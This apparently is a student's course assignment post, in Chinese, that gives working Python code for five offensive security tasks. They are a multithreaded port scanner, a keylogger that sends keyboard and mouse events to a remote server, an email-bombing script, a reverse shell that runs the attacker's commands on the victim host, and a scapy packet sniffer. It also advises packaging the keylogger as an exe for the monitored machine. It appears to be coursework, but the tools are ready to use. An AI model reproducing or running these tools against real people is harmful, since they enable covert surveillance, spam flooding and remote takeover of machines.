具体要求:对指定的网段和端口进行扫描。 A、 可指定IP地址或是网段,可指定端口范围; B、 可设定扫描所需的线程数; C、 对扫描结果进行良好的显示。
#port-scan.py #by Xiaohuihui import socket, threading ,time ,optparse thread_num = 200 timeout = 5 alive_port = set() close_port = set() lock = threading.Lock() key = 0 def scan_thread(start, end ,ipORdomain): for i in range(start, end): if i != 110 and i !=25 : try: sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sk.settimeout(timeout) sk.connect((ipORdomain,i)) alive_port.add(i) except Exception: close_port.add(i) sk.close() global key with lock: key+=1 else: continue def main(): ip_list=[] port_list=[] thread_num = 200 usage="usage -o <target host> -p <target ports> -t <scan thread>" parser=optparse.OptionParser(usage) #创建对象实例 parser.add_option('-o',dest='Host',type='string',help='target host') ##需要的命令行参数 parser.add_option('-p',dest='Ports',type='string',help='target ports') parser.add_option('-t',dest='thread',type='string',help='scan thread') (options,args)=parser.parse_args() Host=options.Host Ports=options.Ports thread_num=options.thread if thread_num == None: thread_num = 2 if (Host==None)|(Ports==None): ##如果主机和端口都是空的话 print(parser.usage) exit(0) if '-' in Host: ipcl = Host.find('-') ip_start = Host[0:int(ipcl)] ip_end = Host[int(ipcl)+1:] flag = int(ip_start.rfind('.')) ipfor_begin = ip_start[flag+1:] ipfor_end = ip_end[flag+1:] Host = ip_start[0:flag+1] ip_list=[] for i in range(int(ip_start[flag+1:]),int(ip_end[flag+1:])+1): ip_list.append(ip_start[0:flag+1]+str(i)) else: Host = options.Host ip_list.append(Host) if '-' in Ports: portcl = Ports.find('-') port_start = int(Ports[0:int(portcl)]) port_end = int(Ports[int(portcl)+1:]) Ports = port_start for i in range(port_start,port_end+1): port_list.append(i) else: Ports=options.Ports port_list.append(Ports) ipORdomain_list = ip_list port_num = port_list for ipORdomain in ipORdomain_list: start_time = time.time() thread_list = [] for i in range(int(thread_num)): start =int(port_num[0]) + i*round(len(port_num)/int(thread_num)) end = int(port_num[0]) + (i+1)*(round(len(port_num)/int(thread_num))) t = threading.Thread(target=scan_thread, args=(start, end ,ipORdomain)) thread_list.append(t) for t in thread_list: t.start() for t in thread_list: t.join() print('IP:'+ipORdomain+' alive ports are {}'.format(sorted(alive_port))) alive_port.clear() if __name__ == '__main__': main()具体要求:对被监控系统的键盘操作可进行实时的监控,将监视结果发回远程主机进行查看。 A、 对被监控主机的键盘及鼠标操作进行监控和记录; B、 可通过网络接口将监控的结果发回到远程主机; C、 将收到的结果进行有效的实时显示。
题目二需要安装额外的库 这里已将python3.7环境所需要的库文件分享到如下 需要自取 安装问题自行百度 (链接:https://share.weiyun.com/H1JVsrNa 密码:stx93q)
还一点需要注意的是 如果在非本机的其他环境进行监控测试的话,可以用pyinstall将py文件打包成一个exe文件,这样被控机就不需要安装Hook等其他繁琐的库环境了
#client.py #by Xiaohuihui import socket import pythoncom import PyHook3 import time client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "127.0.0.1" port = 1216 client.connect((host, port)) def onMouseEvent(event): # 监听鼠标事件 client.send(("\nMessageName:"+event.MessageName).encode()) client.send(("\nTime:"+time.strftime("%Y %H:%M:%S", time.localtime())).encode()) client.send(("\nPosition:"+str(event.Position)).encode()) client.send("\n-----".encode()) return True def onKeyboardEvent(event): # 监听键盘事件 client.send(("\nMessageName:"+event.MessageName).encode()) client.send(("\nTime:"+time.strftime("%Y %H:%M:%S", time.localtime())).encode()) client.send(("\nAscii:"+str(int(event.Ascii))+' '+str(chr(event.Ascii))).encode()) client.send(("\nKey:"+event.Key).encode()) client.send("\n-----".encode()) return True def main(): # 创建一个“钩子”管理对象 hm = PyHook3.HookManager() # 监听所有键盘事件 hm.KeyDown = onKeyboardEvent # 设置键盘“钩子” hm.HookKeyboard() # 监听所有鼠标事件 hm.MouseAll = onMouseEvent # 设置鼠标“钩子” hm.HookMouse() # 进入循环,如不手动关闭,程序将一直处于监听状态 pythoncom.PumpMessages() client.close() if __name__ == "__main__": main() #sever.py #by Xiaohuihui import socket socketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = '127.0.0.1' port = 1216 socketserver.bind((host, port)) socketserver.listen(5) print("等待客户端连接……") clientsocket,addr = socketserver.accept() print("已建立初步连接, 开始数据传输……") while True: recvmsg = clientsocket.recv(1024) strData = recvmsg.decode("utf-8") print("收到:"+strData)具体要求:编写程序发送垃圾邮件到被攻击的邮箱。 A、 编写程序批量发送邮件到被攻击的邮箱,可设定被攻击的邮箱地址; B、 可设定发送的邮件数量; C、 可设置发送邮件的时间间隔。
#sendmail.py #by Xiaohuihui import smtplib import time from email.mime.text import MIMEText smtpserver = "smtp.qq.com" smtpport = 465 from_mail = "1215499430@qq.com" #这里改为你自己的邮箱 password = "xxxxxxxxxxxxxxxx" # 这里改为你自己的邮箱16位授权码 content="test" msg = MIMEText(content) to_mail=input("请输入目标邮箱:\n格式为(xxx@qq.com)\n") cs = int(input("请输入发送次数:\n")) sleeptime = int(input("请输入时间间隔:\n(时间单位秒)\n")) for i in range(1,cs+1): time.sleep(sleeptime) try: smtp = smtplib.SMTP_SSL(smtpserver,smtpport) smtp.login(from_mail,password) smtp.sendmail(from_mail,to_mail,msg.as_string()) except(smtplib.SMTPException) as e: print(e.message) finally: smtp.quit() print("已成功向指定邮箱发送所有邮件!")具体要求:编写程序对远程主机进行操控。 A、 被攻击的主机反向连接攻击机; B、 可在被攻击的主机上执行命令(以命令行的形式,如dir、ls、rm、del等); C、 将操作的结果显示到攻击机上。
#client.py #by Xiaohuihui import socket import os import sys import time baili="127.0.0.1" port=1216 server=(baili,port) s=socket.socket() s.connect(server) while 1: dir=os.getcwd() s.send(dir.encode()) cmd=s.recv(1024).decode() if cmd=="exit": break elif cmd.startswith("cd"): os.chdir(cmd[2:].strip()) result="切换目录成功!" else: result=os.popen(cmd).read() if not result: result="命令执行完毕!" s.send(result.encode()) time.sleep(1) s.close() print("退出!") #sever.py #by Xiaohuihui import socket import time server=("0.0.0.0",1216) s=socket.socket() s.bind(server) s.listen(5) con,addr=s.accept() print(addr,"shell已反弹回来!") while 1: dir=con.recv(1024).decode() cmd=input(dir+":").strip() con.send(cmd.encode()) if cmd=="exit": break result=con.recv(65365) print(result.decode()) time.sleep(1) s.close() print("退出!")具体要求:编写程序对数据包进行捕获。 A、 对IP层的数据进行相应的捕获; B、 可设定要监听的接口、或可以从默认接口监听; C、 对数据的实时显示包括源地址、目的地址、源端口、目的端口、数据包长度、抓取的时间。
#sniffe-IP.py #by Xiaohuihui from scapy.all import * sniff(iface='WLAN',count=0,prn=lambda x : x.sprintf("{IP:%IP.src%:%IP.sport%-> %IP.dst%:%IP.dport%} IP报文长度%IP.len% 抓取时间 %IP.time%"))